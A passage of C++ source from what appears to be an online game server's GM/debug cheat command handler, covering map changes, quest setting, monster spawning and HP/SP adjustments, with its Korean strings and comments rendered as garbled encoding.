wszString = FormatW ( L " Trace<EFBFBD> ߿<EFBFBD> <EFBFBD> <EFBFBD> /changemap ġƮ<C4A1> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
if ( m_pSession - > GetGameRoom ( ) - > bIsFarmRoom ( ) )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> 忡<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> /changemap ġƮ<C4A1> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
if ( m_pSession - > GetGameRoom ( ) - > GetRoomState ( ) ! = _GAME_STATE_PLAY ) return false ;
}
# endif
int nMapIndex = _ttoi ( tokens [ 1 ] . c_str ( ) ) ; // <20> ̵<EFBFBD> <CCB5> <EFBFBD> mapindex
TDUNGEONDIFFICULTY StageConstrucionLevel = ( tokens . size ( ) < = 2 ) ? Dungeon : : Difficulty : : Easy : static_cast < TDUNGEONDIFFICULTY > ( _ttoi ( tokens [ 2 ] . c_str ( ) ) ) ;
if ( StageConstrucionLevel > = Dungeon : : Difficulty : : Max )
return false ;
int nGateNo = ( tokens . size ( ) < = 3 ) ? 1 : _ttoi ( tokens [ 3 ] . c_str ( ) ) ;
if ( g_pDataManager - > GetMapType ( nMapIndex ) = = GlobalEnum : : MAP_UNKNOWN )
{
std : : wstring wszLocalString ;
wszLocalString = FormatW ( L " Cannot found map index %d " , nMapIndex ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszLocalString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszLocalString . c_str ( ) ) ;
return false ;
}
if ( g_pDataManager - > GetMapSubType ( nMapIndex ) = = GlobalEnum : : MAPSUB_FARM )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> δ<EFBFBD> /changemap ġƮ<C4A1> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
# if defined(_VILLAGESERVER)
if ( g_pDataManager - > GetMapType ( nMapIndex ) ! = GlobalEnum : : MAP_VILLAGE ) { // <20> <EFBFBD> <D7BC> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
char cGateNo = g_pFieldDataManager - > GetRandomGateNo ( nMapIndex ) ;
if ( m_pSession - > GetPartyID ( ) > 0 ) {
CDNParty * pParty = g_pPartyManager - > GetParty ( m_pSession - > GetPartyID ( ) ) ;
if ( ! pParty ) return false ;
pParty - > SetRandomSeed ( timeGetTime ( ) ) ;
pParty - > SetAllMemberGate ( nGateNo ) ;
if ( g_pMasterConnection & & g_pMasterConnection - > GetActive ( ) )
g_pMasterConnection - > SendReqGameID ( GameTaskType : : Normal , REQINFO_TYPE_PARTY , pParty - > GetPartyID ( ) , m_pSession - > GetChannelID ( ) , pParty - > GetRandomSeed ( ) , nMapIndex , nGateNo , StageConstrucionLevel , true , pParty ) ; // GameID<49> <44> <20> <> û
else
return false ;
}
else {
m_pSession - > m_cGateNo = nGateNo ;
m_pSession - > m_nSingleRandomSeed = timeGetTime ( ) ;
if ( g_pMasterConnection & & g_pMasterConnection - > GetActive ( ) )
g_pMasterConnection - > SendReqGameID ( GameTaskType : : Normal , REQINFO_TYPE_SINGLE , m_pSession - > GetAccountDBID ( ) , m_pSession - > GetChannelID ( ) , m_pSession - > m_nSingleRandomSeed , nMapIndex , nGateNo , StageConstrucionLevel , true ) ; // GameID<49> <44> <20> <> û
else
return false ;
}
}
else
{ // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
char cGateNo = ( tokens . size ( ) = = 2 ) ? - 1 : _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( m_pSession - > GetPartyID ( ) > 0 ) {
CDNParty * pParty = g_pPartyManager - > GetParty ( m_pSession - > GetPartyID ( ) ) ;
if ( ! pParty ) return false ;
if ( g_pMasterConnection & & g_pMasterConnection - > GetActive ( ) )
g_pMasterConnection - > SendVillageToVillage ( REQINFO_TYPE_PARTY , pParty - > GetPartyID ( ) , nMapIndex , cGateNo , - 1 , pParty ) ;
else
return false ;
}
else
{
if ( g_pMasterConnection & & g_pMasterConnection - > GetActive ( ) )
g_pMasterConnection - > SendVillageToVillage ( REQINFO_TYPE_SINGLE , m_pSession - > GetAccountDBID ( ) , nMapIndex , cGateNo ) ;
else
return false ;
}
}
# elif defined(_GAMESERVER)
CDNGameRoom * pRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pRoom ) return false ;
if ( pRoom - > bIsPvPRoom ( ) ) // PvP<76> 濡<EFBFBD> <E6BFA1> <EFBFBD> <EFBFBD> changemap ġƮ <20> <> <EFBFBD> ´ <EFBFBD> .
return false ;
CDnGameTask * pTask = ( CDnGameTask * ) pRoom - > GetTaskMng ( ) - > GetTask ( " GameTask " ) ;
if ( g_pDataManager - > GetMapType ( nMapIndex ) = = GlobalEnum : : eMapTypeEnum : : MAP_VILLAGE ) {
int nAttribute = g_pDataManager - > GetChannelMapAtt ( m_pSession - > GetWorldSetID ( ) , nMapIndex ) ;
if ( nAttribute & GlobalEnum : : CHANNEL_ATT_FARMTOWN )
{
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> δ<EFBFBD> /changemap ġƮ<C4A1> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDNUserSession * pLeaderSession = NULL ;
for ( DWORD i = 0 ; i < pRoom - > GetUserCount ( ) ; i + + ) {
CDNUserSession * pSession = pRoom - > GetUserData ( i ) ;
pSession - > SetNextVillageData ( NULL , 0 , pTask - > GetMapTableID ( ) , nMapIndex , nGateNo ) ;
if ( pRoom - > GetPartyData ( i ) - > bLeader ) pLeaderSession = pSession ;
}
if ( pLeaderSession ) {
g_pMasterConnectionManager - > SendRequestNextVillageInfo ( pLeaderSession - > GetWorldSetID ( ) , nMapIndex , nGateNo , true , pRoom ) ;
}
}
else {
for ( DWORD i = 0 ; i < pRoom - > GetUserCount ( ) ; i + + )
{
CDNUserSession * pSession = pRoom - > GetUserData ( i ) ;
if ( ! pSession ) continue ;
DnActorHandle hActor = pSession - > GetActorHandle ( ) ;
if ( ! hActor ) continue ;
CDnPlayerActor * pPlayer = static_cast < CDnPlayerActor * > ( hActor . GetPointer ( ) ) ;
pPlayer - > CmdRemoveStateEffect ( STATE_BLOW : : BLOW_099 ) ;
}
# if defined(PRE_FIX_INITSTATEANDSYNC)
pRoom - > ReserveInitStateAndSync ( nMapIndex , nGateNo , CRandom : : Seed ( pRoom ) , StageConstrucionLevel , true ) ;
# else
pRoom - > InitStateAndSync ( nMapIndex , nGateNo , CRandom : : Seed ( pRoom ) , StageConstrucionLevel , true ) ;
# endif //#if defined(PRE_FIX_INITSTATEANDSYNC)
}
# endif
}
break ;
case SET_COMPLETE_QUEST :
{
CDNUserQuest * pQuest = _GetQuest ( ) ;
if ( ! pQuest ) return false ;
if ( tokens . size ( ) ! = 5 ) return false ;
int nQuestIndex = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( pQuest - > HasQuest ( nQuestIndex ) = = - 2 ) { // <20> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> <20> <> <EFBFBD> ٸ<EFBFBD>
int iRetVal = m_pSession - > GetQuest ( ) - > AddQuest ( nQuestIndex ) ;
if ( 1 ! = iRetVal ) {
g_Log . Log ( LogType : : _ERROR , m_pSession , L " SET_COMPLETE_QUEST Error : %d AddQuest return %d " , nQuestIndex , iRetVal ) ;
break ;
}
}
int nFlag = _wtoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( nFlag < 0 | | nFlag > 1 )
return false ;
int bDelPlayList = _wtoi ( tokens [ 3 ] . c_str ( ) ) ;
int bRepeat = _wtoi ( tokens [ 4 ] . c_str ( ) ) ;
pQuest - > RewardAfterCompletingQuest ( nQuestIndex , ( ( bDelPlayList ) ? ( true ) : ( false ) ) ) ;
}
break ;
case SETQUEST :
{
if ( tokens . size ( ) < = 3 ) return false ;
int nQuestID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int nQuestType = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
int nStep = ( tokens . size ( ) > = 4 ) ? _ttoi ( tokens [ 3 ] . c_str ( ) ) : 1 ;
if ( nStep < = 0 ) nStep = 1 ;
int nJournal = ( tokens . size ( ) > = 5 ) ? _ttoi ( tokens [ 4 ] . c_str ( ) ) : 1 ;
if ( nJournal < = 0 ) nJournal = 1 ;
int iRetVal = m_pSession - > GetQuest ( ) - > FindPlayingQuest ( nQuestID ) ;
if ( - 1 > = iRetVal ) { // <20> <> <EFBFBD> <EFBFBD> Ʈ ID <20> <> <20> ƴ<EFBFBD> <20> ε<EFBFBD> <CEB5> <EFBFBD> <EFBFBD> <EFBFBD> 0 <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
iRetVal = m_pSession - > GetQuest ( ) - > AddQuest ( nQuestID ) ;
if ( 1 ! = iRetVal ) {
g_Log . Log ( LogType : : _ERROR , m_pSession , L " SETQUEST Error : %d AddQuest return %d " , nQuestID , iRetVal ) ;
break ;
}
}
else {
# ifndef _FINAL_BUILD
std : : wstring wszMsg ;
wszMsg = FormatW ( L " <EFBFBD> ̹<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> <20> <> <EFBFBD> <EFBFBD> , <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ˴ ϴ<CBB4> . : %d" , nQuestID ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszMsg . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszMsg . c_str ( ) ) ;
# endif // _FINAL_BUILD
}
iRetVal = m_pSession - > GetQuest ( ) - > SetQuestStep ( nQuestID , nStep ) ;
if ( 1 ! = iRetVal ) {
g_Log . Log ( LogType : : _ERROR , m_pSession , L " SETQUEST Error : %d SetQuestStep return %d " , nQuestID , iRetVal ) ;
break ;
}
iRetVal = m_pSession - > GetQuest ( ) - > SetJournalStep ( nQuestID , nJournal ) ;
if ( 1 ! = iRetVal ) {
g_Log . Log ( LogType : : _ERROR , m_pSession , L " SETQUEST Error : %d SetJournalStep return %d " , nQuestID , iRetVal ) ;
break ;
}
}
break ;
case DEL_QUEST :
{
return false ;
}
break ;
case SHOW_QUEST_INFO :
{
# if defined(_VILLAGESERVER)
UINT nUserID = m_pSession - > GetObjectID ( ) ;
api_quest_DumpQuest ( nUserID ) ;
# elif defined(_GAMESERVER)
UINT nUserID = m_pSession - > GetSessionID ( ) ;
api_quest_DumpQuest ( m_pSession - > GetGameRoom ( ) , nUserID ) ;
# endif
}
break ;
case ALL_KILL_MONSTER :
{
# if defined(_VILLAGESERVER)
return false ;
# elif defined(_GAMESERVER)
CDNGameRoom * pRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pRoom ) return false ;
if ( ! pRoom - > GetTaskMng ( ) ) return false ;
CDnGameTask * pTask = ( CDnGameTask * ) pRoom - > GetTaskMng ( ) - > GetTask ( " GameTask " ) ;
if ( ! pTask ) return false ;
pTask - > RequestDestroyAllMonster ( false ) ;
# endif
}
break ;
case GEN_MONSTER :
{
# if defined(_VILLAGESERVER)
return false ;
# elif defined(_GAMESERVER)
if ( tokens . size ( ) < 2 ) return false ;
int nMonsterID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int nCount = ( tokens . size ( ) > = 3 ) ? _ttoi ( tokens [ 2 ] . c_str ( ) ) : 1 ;
CDNGameRoom * pRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pRoom ) return false ;
if ( ! pRoom - > GetTaskMng ( ) ) return false ;
CDnGameTask * pTask = ( CDnGameTask * ) pRoom - > GetTaskMng ( ) - > GetTask ( " GameTask " ) ;
if ( ! pTask ) return false ;
EtVector3 * pvPos = m_pSession - > GetActorHandle ( ) - > GetPosition ( ) ;
for ( int i = 0 ; i < nCount ; i + + )
{
pTask - > RequestGenerationMonsterFromMonsterID ( nMonsterID , * pvPos , EtVector3 ( 0.f , 0.f , 0.f ) , EtVector3 ( 0.f , 0.f , 0.f ) ) ;
}
# endif
}
break ;
case GEN_MONSTER_COMPOUND :
{
# if defined(_VILLAGESERVER)
return false ;
# elif defined(_GAMESERVER)
if ( tokens . size ( ) ! = 3 )
return false ;
int nMonsterID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int nCount = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
CDNGameRoom * pRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pRoom ) return false ;
if ( ! pRoom - > GetTaskMng ( ) ) return false ;
CDnGameTask * pTask = ( CDnGameTask * ) pRoom - > GetTaskMng ( ) - > GetTask ( " GameTask " ) ;
if ( ! pTask ) return false ;
SOBB Obb ;
Obb . Center = * m_pSession - > GetActorHandle ( ) - > GetPosition ( ) ;
Obb . Axis [ 0 ] = EtVector3 ( 1.f , 0.f , 0.f ) ;
Obb . Axis [ 1 ] = EtVector3 ( 0.f , 1.f , 0.f ) ;
Obb . Axis [ 2 ] = EtVector3 ( 0.f , 0.f , 1.f ) ;
Obb . Extent [ 0 ] = Obb . Extent [ 1 ] = Obb . Extent [ 2 ] = 100.f ;
pTask - > RequestGenerationMonsterFromMonsterGroupID ( nMonsterID , nCount , Obb ) ;
# endif
}
break ;
case GEN_NPC :
{
if ( tokens . size ( ) < 2 ) return false ;
int nNpcID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
# if defined(_VILLAGESERVER)
m_pSession - > GetField ( ) - > RequestGenerationNpc ( nNpcID , & m_pSession - > GetCurrentPos ( ) , m_pSession - > GetRotate ( ) ) ;
# elif defined(_GAMESERVER)
CDNGameRoom * pRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pRoom ) return false ;
if ( ! pRoom - > GetTaskMng ( ) ) return false ;
CDnGameTask * pTask = ( CDnGameTask * ) pRoom - > GetTaskMng ( ) - > GetTask ( " GameTask " ) ;
if ( ! pTask ) return false ;
EtVector3 * pvPos = m_pSession - > GetActorHandle ( ) - > GetPosition ( ) ;
pTask - > RequestGenerationNpc ( nNpcID , pvPos - > x , pvPos - > y , pvPos - > z , 0 ) ;
# endif
}
break ;
case ADD_STATEEFFECT :
{
# ifdef _GAMESERVER
if ( tokens . size ( ) ! = 4 )
return false ;
int iStateEffectIndex = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
int iDurationTime = _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( ( int ) tokens . size ( ) > 2 )
{
const TCHAR * pParameter = tokens [ 3 ] . c_str ( ) ;
int iCodePage = CEtResourceMng : : GetInstance ( ) . GetCodePage ( ) ;
char acBuf [ 256 ] ;
ZeroMemory ( acBuf , sizeof ( acBuf ) ) ;
WideCharToMultiByte ( iCodePage , 0 , pParameter , - 1 , acBuf , sizeof ( acBuf ) , NULL , NULL ) ;
CDNGameRoom * pRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pRoom ) return false ;
if ( ! pRoom - > GetTaskMng ( ) ) return false ;
DnActorHandle hActor = m_pSession - > GetActorHandle ( ) ;
hActor - > CmdAddStateEffect ( /*hActor,*/ NULL , ( STATE_BLOW : : emBLOW_INDEX ) iStateEffectIndex , iDurationTime , acBuf ) ;
}
# endif
}
break ;
case NOTICE :
{
if ( tokens . size ( ) < 2 )
return false ;
WCHAR szMsg [ CHATLENMAX ] ;
int nLen = 0 ;
for ( int i = 1 ; i < ( int ) tokens . size ( ) ; i + + )
{
int nTempLen = ( int ) wcslen ( tokens [ i ] . c_str ( ) ) ;
if ( nTempLen + nLen > = CHATLENMAX )
return false ;
_wcscpy ( szMsg + nLen , CHATLENMAX - nLen , tokens [ i ] . c_str ( ) , nTempLen ) ;
nLen + = nTempLen ;
szMsg [ nLen + + ] = ' ' ;
}
if ( nLen < CHATLENMAX )
szMsg [ nLen ] = ' \0 ' ;
else
return false ;
# if defined(_VILLAGESERVER)
g_pMasterConnection - > SendNoticeFromClient ( szMsg , nLen ) ;
# elif defined(_GAMESERVER)
g_pMasterConnectionManager - > SendNoticeFromClinet ( szMsg , nLen ) ;
# endif
}
break ;
case ADDINVENCOUNT :
{
if ( tokens . size ( ) < 2 ) return false ;
int nCount = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nCount > INVENTORYMAX ) return false ;
m_pSession - > GetItem ( ) - > SetInventoryCount ( nCount ) ;
m_pSession - > SendInventoryMaxCount ( nCount ) ;
}
break ;
case ADDWARECOUNT :
{
if ( tokens . size ( ) < 2 ) return false ;
int nCount = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nCount > WAREHOUSEMAX ) return false ;
m_pSession - > GetItem ( ) - > SetWarehouseCount ( nCount ) ;
m_pSession - > SendWarehouseMaxCount ( nCount ) ;
}
break ;
case REBIRTH :
{
if ( tokens . size ( ) < 4 ) return false ;
int nRebirth = ( tokens . size ( ) < = 1 ) ? 1 : _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nRebirth < = 0 ) nRebirth = 1 ;
int nPCBang = ( tokens . size ( ) < = 2 ) ? 1 : _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( nPCBang < = 0 ) nPCBang = 1 ;
int nCash = ( tokens . size ( ) < = 3 ) ? 1 : _ttoi ( tokens [ 3 ] . c_str ( ) ) ;
if ( nCash < = 0 ) nCash = 1 ;
m_pSession - > SetRebirthCoin ( nRebirth , nPCBang , nCash ) ;
m_pSession - > GetDBConnection ( ) - > QueryRebirthCoin ( m_pSession , nRebirth , nPCBang , 0 ) ;
m_pSession - > SendRebirthCoin ( ERROR_NONE , 0 , _REBIRTH_SELF , m_pSession - > GetSessionID ( ) ) ;
}
break ;
# if defined(_GAMESERVER )
case RESPAWNLOGIC :
{
if ( tokens . size ( ) ! = 1 )
return false ;
if ( ! m_pSession | | ! m_pSession - > GetGameRoom ( ) )
return false ;
CDnGameTask * pGameTask = m_pSession - > GetGameRoom ( ) - > GetGameTask ( ) ;
if ( ! pGameTask )
return false ;
if ( pGameTask - > GetGameTaskType ( ) ! = GameTaskType : : PvP )
return false ;
CPvPRespawnLogic * pRespawnLogic = ( ( CDnPvPGameTask * ) pGameTask ) - > GetRespawnLogic ( ) ;
if ( ! pRespawnLogic )
return false ;
pRespawnLogic - > ToggleCheat ( ) ;
break ;
}
case SETCULLING :
{
if ( tokens . size ( ) < 2 )
return false ;
if ( ! m_pSession | | ! m_pSession - > GetGameRoom ( ) )
return false ;
m_pSession - > GetGameRoom ( ) - > SetActorTick ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
m_pSession - > GetGameRoom ( ) - > SetCullingDistance ( _ttoi ( tokens [ 2 ] . c_str ( ) ) ) ;
}
break ;
# endif
# if defined( _VILLAGESERVER )
case GETPVPSCORE :
{
/*
BYTE cLevel ; // <20> <> <EFBFBD> <EFBFBD>
UINT uiXP ; // XP
UINT uiPlayTimeSec ; // <20> ÷<EFBFBD> <C3B7> <EFBFBD> Ÿ<EFBFBD> <C5B8> (<28> <> )
UINT uiWin ; // <20> ¸ <EFBFBD>
UINT uiLose ; // <20> й<EFBFBD>
UINT uiDraw ; // <20> <> <EFBFBD> º<EFBFBD>
UINT uiGiviUpCount ; // <20> ߰<EFBFBD> <DFB0> <EFBFBD> Ż<EFBFBD> <C5BB>
UINT uiKOClassCount [ PvPCommon : : Common : : MaxClass ] ; // <20> <> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> KO<4B> <4F> Ų Ƚ<> <C8BD>
UINT uiKObyClassCount [ PvPCommon : : Common : : MaxClass ] ; // <20> <> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> KO<4B> <4F> <EFBFBD> <EFBFBD> ȸ<> <C8B8>
INT64 biTotalKillPoint ;
INT64 biTotalAssistPoint ;
INT64 biTotalSupportPoint ;
*/
TPvPGroup * pPvP = m_pSession - > GetPvPData ( ) ;
wchar_t wszBuf [ MAX_PATH ] ;
wsprintf ( wszBuf , L " [<5B> <> <EFBFBD> <EFBFBD> :%d,XP:%d] %d<> <64> %d<> <64> %d<> <64> %d<> <64> <EFBFBD> <EFBFBD> PlayTime:%d<> <64> " , pPvP - > cLevel , pPvP - > uiXP , pPvP - > uiWin , pPvP - > uiLose , pPvP - > uiDraw , pPvP - > uiGiveUpCount , pPvP - > uiPlayTimeSec ) ;
m_pSession - > SendDebugChat ( wszBuf ) ;
wsprintf ( wszBuf , L " [KO] <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> :%d <20> <> ó:%d <20> Ҽ<EFBFBD> <D2BC> <EFBFBD> <EFBFBD> <EFBFBD> :%d Ŭ<> <C5AC> <EFBFBD> <EFBFBD> :%d " , pPvP - > uiKOClassCount [ 0 ] , pPvP - > uiKOClassCount [ 1 ] , pPvP - > uiKOClassCount [ 2 ] , pPvP - > uiKOClassCount [ 3 ] ) ;
m_pSession - > SendDebugChat ( wszBuf ) ;
wsprintf ( wszBuf , L " [KO_By] <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> :%d <20> <> ó:%d <20> Ҽ<EFBFBD> <D2BC> <EFBFBD> <EFBFBD> <EFBFBD> :%d Ŭ<> <C5AC> <EFBFBD> <EFBFBD> :%d " , pPvP - > uiKObyClassCount [ 0 ] , pPvP - > uiKObyClassCount [ 1 ] , pPvP - > uiKObyClassCount [ 2 ] , pPvP - > uiKObyClassCount [ 3 ] ) ;
m_pSession - > SendDebugChat ( wszBuf ) ;
wsprintf ( wszBuf , L " TotalKillPoint=%I64d TotalAssistPoint=%I64d TotalSupportPoint=%I64d " , pPvP - > biTotalKillPoint , pPvP - > biTotalAssistPoint , pPvP - > biTotalSupportPoint ) ;
m_pSession - > SendDebugChat ( wszBuf ) ;
break ;
}
# endif
case ENABLESHADOW :
{
# ifdef _GAMESERVER
# ifdef _SHADOW_TEST
if ( tokens . size ( ) < 1 ) return false ;
bool bEnable = true ;
if ( tokens . size ( ) > = 2 )
bEnable = ( _ttoi ( tokens [ 1 ] . c_str ( ) ) = = 0 ) ? false : true ;
g_bEnableShadow [ m_pSession - > GetRoomID ( ) ] = bEnable ;
# endif
# endif
}
break ;
case FATIGUE :
{
if ( tokens . size ( ) < 4 ) return false ;
int nFatigue = ( tokens . size ( ) < = 1 ) ? 1 : _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
if ( nFatigue < = 0 ) nFatigue = 1 ;
int nWeekly = ( tokens . size ( ) < = 2 ) ? 1 : _ttoi ( tokens [ 2 ] . c_str ( ) ) ;
if ( nWeekly < = 0 ) nWeekly = 1 ;
int nPCBang = ( tokens . size ( ) < = 3 ) ? 1 : _ttoi ( tokens [ 3 ] . c_str ( ) ) ;
if ( nPCBang < = 0 ) nPCBang = 1 ;
int nEvent = ( tokens . size ( ) < = 4 ) ? 1 : _ttoi ( tokens [ 4 ] . c_str ( ) ) ;
if ( nEvent < = 0 ) nEvent = 1 ;
# if defined(PRE_ADD_VIP)
int nVIP = ( tokens . size ( ) < = 5 ) ? 1 : _ttoi ( tokens [ 5 ] . c_str ( ) ) ;
if ( nVIP < = 0 ) nEvent = 1 ;
m_pSession - > SetCheatFatigue ( nFatigue , nWeekly , nPCBang , nEvent , nVIP ) ;
# else // #if defined(PRE_ADD_VIP)
m_pSession - > SetCheatFatigue ( nFatigue , nWeekly , nPCBang , nEvent , 0 ) ;
# endif // #if defined(PRE_ADD_VIP)
}
break ;
case IGNORECOOLTIME :
{
# if defined(_GAMESERVER)
DnActorHandle hActor = m_pSession - > GetActorHandle ( ) ;
//hActor->ResetSkillCoolTime();
hActor - > IgnoreSkillCoolTime ( ) ;
# endif
}
break ;
case FCM :
{
# if defined(_CH)
if ( tokens . size ( ) < 1 ) return false ;
wstring wszString ;
wszString = FormatW ( L " FCMState: %d FCMOnline: %d " , m_pSession - > GetFCMState ( ) , m_pSession - > GetFCMOnlineMin ( ) ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case SETFCM :
{
# if defined(_CH)
if ( tokens . size ( ) < 2 ) return false ;
int nMin = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
wstring wszString ;
m_pSession - > SetFCMOnlineMin ( nMin , true ) ;
wszString = FormatW ( L " FCMState: %d FCMOnline: %d " , m_pSession - > GetFCMState ( ) , m_pSession - > GetFCMOnlineMin ( ) ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case SET_HP :
{
# ifdef _GAMESERVER
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " HP <20> <> (<28> <> <EFBFBD> <EFBFBD> 0~100)<29> <> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDnPlayerActor * pPlayer = m_pSession - > GetPlayerActor ( ) ;
if ( ! pPlayer ) break ;
INT64 nHP = ( INT64 ) ( pPlayer - > GetMaxHP ( ) * ( _ttoi ( tokens [ 1 ] . c_str ( ) ) / 100.f ) ) ;
if ( nHP > pPlayer - > GetMaxHP ( ) ) nHP = pPlayer - > GetMaxHP ( ) ;
else if ( nHP < 1 ) nHP = 1 ;
pPlayer - > CmdRefreshHPSP ( nHP , pPlayer - > GetSP ( ) ) ;
# endif
}
break ;
case SET_MP :
{
# ifdef _GAMESERVER
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " SP <20> <> (<28> <> <EFBFBD> <EFBFBD> 0~100)<29> <> <20> ־<EFBFBD> <D6BE> ּ<EFBFBD> <D6BC> <EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
CDnPlayerActor * pPlayer = m_pSession - > GetPlayerActor ( ) ;
if ( ! pPlayer ) break ;
int nSP = ( int ) ( pPlayer - > GetMaxSP ( ) * ( _ttoi ( tokens [ 1 ] . c_str ( ) ) / 100.f ) ) ;
if ( nSP > pPlayer - > GetMaxSP ( ) ) nSP = pPlayer - > GetMaxSP ( ) ;
else if ( nSP < 1 ) nSP = 1 ;
pPlayer - > CmdRefreshHPSP ( pPlayer - > GetHP ( ) , nSP ) ;
# endif
}
break ;
case SET_HPMPFULL :
{
# if defined( _GAMESERVER )
CDnPlayerActor * pPlayer = m_pSession - > GetPlayerActor ( ) ;
if ( ! pPlayer )
break ;
pPlayer - > CmdRefreshHPSP ( pPlayer - > GetMaxHP ( ) , pPlayer - > GetMaxSP ( ) ) ;
# endif // #if defined( _GAMESERVER )
break ;
}
case GET_HP :
{
# ifdef _GAMESERVER
CDNGameRoom * pGameRoom = m_pSession - > GetGameRoom ( ) ;
if ( ! pGameRoom )
return false ;
std : : wstring wstrCharName = m_pSession - > GetCharacterName ( ) ;
if ( tokens . size ( ) = = 2 )
wstrCharName = tokens [ 1 ] ;
CDNGameRoom : : PartyStruct * pStruct = pGameRoom - > GetPartyData ( const_cast < WCHAR * > ( wstrCharName . c_str ( ) ) ) ;
if ( ! pStruct | | ! pStruct - > pSession )
return false ;
DnActorHandle hActor = pStruct - > pSession - > GetActorHandle ( ) ;
if ( ! hActor )
return false ;
INT64 iHP = hActor - > GetHP ( ) ;
INT64 iMaxHP = hActor - > GetMaxHP ( ) ;
WCHAR wszBuf [ MAX_PATH ] ;
wsprintf ( wszBuf , L " [%s] HP:%I64d/%I64d " , wstrCharName . c_str ( ) , iHP , iMaxHP ) ;
m_pSession - > SendDebugChat ( wszBuf ) ;
# endif
